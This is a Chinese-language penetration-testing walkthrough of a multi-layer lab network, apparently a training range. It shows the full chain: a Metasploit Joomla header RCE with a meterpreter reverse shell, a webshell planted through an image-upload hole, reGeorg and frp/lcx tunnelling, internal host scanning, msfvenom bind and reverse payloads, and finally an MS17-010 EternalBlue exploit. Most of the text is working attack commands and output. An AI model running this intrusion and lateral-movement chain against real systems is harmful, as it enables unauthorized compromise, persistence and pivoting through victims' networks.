拓扑图
拿下边界服务器
访问172.16.12.2
信息搜集
- wappalyzer
- cms:joolma框架
- 端口
root@kali:~# nmap 172.16.12.2
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-30 20:57 CST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 172.16.12.2
Host is up (0.0026s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
攻击
- 查询joomla版本信息
search joomla
use auxiliary/scanner/http/joomla_version
set rhosts 172.16.12.2
run
[*] Server: Apache/2.4.6 (CentOS) PHP/5.4.16
[+] Joomla version: 3.4.5
- 尝试joomla反序列化漏洞,在msf搜索joomla payload
msf5 > search joomla
msf5 > use exploit/multi/http/joomla_http_header_rce
msf5 > set payload php/meterpreter/reverse_tcp
msf5 > set lhost 172.16.12.179
msf5 > set lport 4444
msf5 > exploit -j -z
msf5 >set rhosts 172.16.12.2
msf5 exploit(multi/http/joomla_http_header_rce) > sessions 1
[*] Starting interaction with 1...
进入session 1 信息搜集
meterpreter > shell
id
uid=48(apache) gid=48(apache) groups=48(apache)
低权限 ---提权---可以利用反弹shell规避防火墙或者安全软件的限制,然后提权,但查询了防火墙状态是关闭的,ssh22端口是开启的,所以下面我是直接登录ssh修改权限的
系统信息
uname -a
Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Fri Apr 20 16:44:24 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
systeminfo
查ip
ip a
看防火墙–是关闭的
service firewalld status
查看结果
- 上传webshell
ssh登录
ssh root@172.16.12.2
修改权限-----为了上传文件
[root@localhost ~]# cd /var/www
[root@localhost www]# chown -R apache:apache html/
meterpreter > cd /var/www/html
meterpreter > upload /root/Desktop/antsword/2.php
蚁剑连接webshell
4. reGeorg挂代理
蚁剑上传1.php
本地执行python脚本
root@kali:~# python /root/Desktop/tools/portfwd/reGeorg/reGeorgSocksProxy.py -u http://172.16.12.2/1.php -p 8888
- 进一步探测内网其他主机
添加路由
meterpreter > run autoroute -s 10.10.10.0/24 1
msf5 exploit(multi/http/joomla_http_header_rce) > route
- 使用arp_scanner扫描内网存活主机
msf5 exploit(multi/http/joomla_http_header_rce) > use auxiliary/scanner/discovery/arp_sweep
msf5 auxiliary(scanner/discovery/arp_sweep) > set rhosts 10.10.10.0/24
msf5 auxiliary(scanner/discovery/arp_sweep) > run
或者在蚁剑上传ping.sh扫描内网存活主机
bash ping.sh>ping.txt
ping.sh内容
#! /bin/sh
ip='10.10.10'
for i in `seq 1 255`
do
{
ping -c 2 $ip.$i >/dev/null 2>&1
if [ $? -eq 0 ];then
echo $ip.$i UP
else
echo $ip.$i DOWN
fi
}&
done
wait
- 使用扫描存活主机端口模块,扫描端口
msf5 auxiliary(scanner/discovery/arp_sweep) > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > set rhosts 10.10.10.5
msf5 auxiliary(scanner/portscan/tcp) > set ports 80,3389,22,445,3306
msf5 auxiliary(scanner/portscan/tcp) > run
[+] 10.10.10.5: - 10.10.10.5:80 - TCP OPEN
[*] 10.10.10.5: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
第一层内网
1.拿下webshell
浏览器挂代理
弱口令进后台
http://10.10.10.5/adminbeat/login.asp
找上传点,找到上传图片的漏洞
打开burpsuite 配置代理端口
上传webshell
选择网站的一张图片复制位置
http://10.10.10.5/images/up_images/202083120115.asp
蚁剑配置代理端口连接10.10.10.5webshell
2.信息搜集
whomai -------不是system权限,低权限
ip -----------双网卡还有第二层内网
systeminfo---------查看系统信息,windows 补丁状况-使用MS14-058进行提权
3.上传msf_bind木马进行远控
分析:
此处使用bind的payload的原因:
我们(攻击机)在外网,访问内网机器----用bind
内网机器回连(主动连接)我们(攻击机)-----reverse
我们挂了代理,可以访问内网机器,但是内网机器不能出网,不能主动回连我们,所以用bind
本地
msf5 exploit(multi/http/joomla_http_header_rce) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 10.10.10.5
msf5 exploit(multi/handler) > set lport 5555
上传
root@kali:~# msfvenom -p windows/x64/meterpreter/bind_tcp rhost=10.10.10.5 lport=5555 -f exe -o /root/Desktop/bind.exe
4.使用msf_reverse木马进行远控
分析:
想使用msf_reverse木马进行远控要解决的问题就是让内网机器可以出网
使用端口转发(这里因为防火墙状态处于关闭状态,所以不影响端口转发操作)
10.10.10.5的机器可以访问10.10.10.3
所以将我们(攻击机)4450端口转发到的10.10.10.3的4450端口上
就可以让10.10.10.5访问我们(攻击机)
在这里使用frp工具进行端口转发
frp的客户端和服务端
(想转发那个机器的端口就把客户端放在那个机器上面,客户端的端口转发到服务端的端口)
frpc客户端:攻击机
frps服务端:10.10.10.3
操作:
上传
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter > upload /root/Desktop/tools/portfwd/frp_0.33.0_linux_amd64/frps
[*] uploading : /root/Desktop/tools/portfwd/frp_0.33.0_linux_amd64/frps -> frps
[*] Uploaded 8.00 MiB of 12.38 MiB (64.65%): /root/Desktop/tools/portfwd/frp_0.33.0_linux_amd64/frps -> frps
[*] Uploaded 12.38 MiB of 12.38 MiB (100.0%): /root/Desktop/tools/portfwd/frp_0.33.0_linux_amd64/frps -> frps
[*] uploaded : /root/Desktop/tools/portfwd/frp_0.33.0_linux_amd64/frps -> frps
meterpreter > upload /root/Desktop/tools/portfwd/frp_0.33.0_linux_amd64/frps.ini
[*] uploading : /root/Desktop/tools/portfwd/frp_0.33.0_linux_amd64/frps.ini -> frps.ini
[*] Uploaded 26.00 B of 26.00 B (100.0%): /root/Desktop/tools/portfwd/frp_0.33.0_linux_amd64/frps.ini -> frps.ini
[*] uploaded : /root/Desktop/tools/portfwd/frp_0.33.0_linux_amd64/frps.ini -> frps.ini
修改权限
meterpreter > chmod 777 frps
meterpreter > chmod 777 frps.ini
这里用蚁剑上传frps时总是500错误,感觉应该是文件太大了
配置
frpc.ini
frps.ini
7000
运行
10.10.10.3上运行
(apache:/var/www/html) $ ./frps -c frps.ini
本地运行
./frpc -c frpc.ini
上传msf_reverse 这里的端口要用端口转发使用的端口
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.3 lport=4450 -f exe -o /root/Desktop/rev.exe
设置二级msf socks 代理
添加路由
使用arp_scanner扫描内网存活主机发现10.10.5.105
使用扫描存活主机端口模块,扫描端口
浏览器配置socks5代理
访问10.10.5.105
(和上面一样不赘述了)
第二层
端口转发
上传lcx进行端口转发,10.10.10.5机器的4600端口转到边界机监听10.10.10.3的4450端口上
execute -H -f "C:\www\images\up_images\lcx.exe -tran 4460 10.10.10.3 4450"
攻击
使用 ms17-010 攻击内网机,通过上面转发的端口使其可以出网
msf5 auxiliary(server/socks5) > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.5.105
rhosts => 10.10.5.105
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set lhost 10.10.5.100
lhost => 10.10.5.100
msf5 exploit(windows/smb/ms17_010_eternalblue) > set lport 4460
lport => 4460
msf5 exploit(windows/smb/ms17_010_eternalblue) > run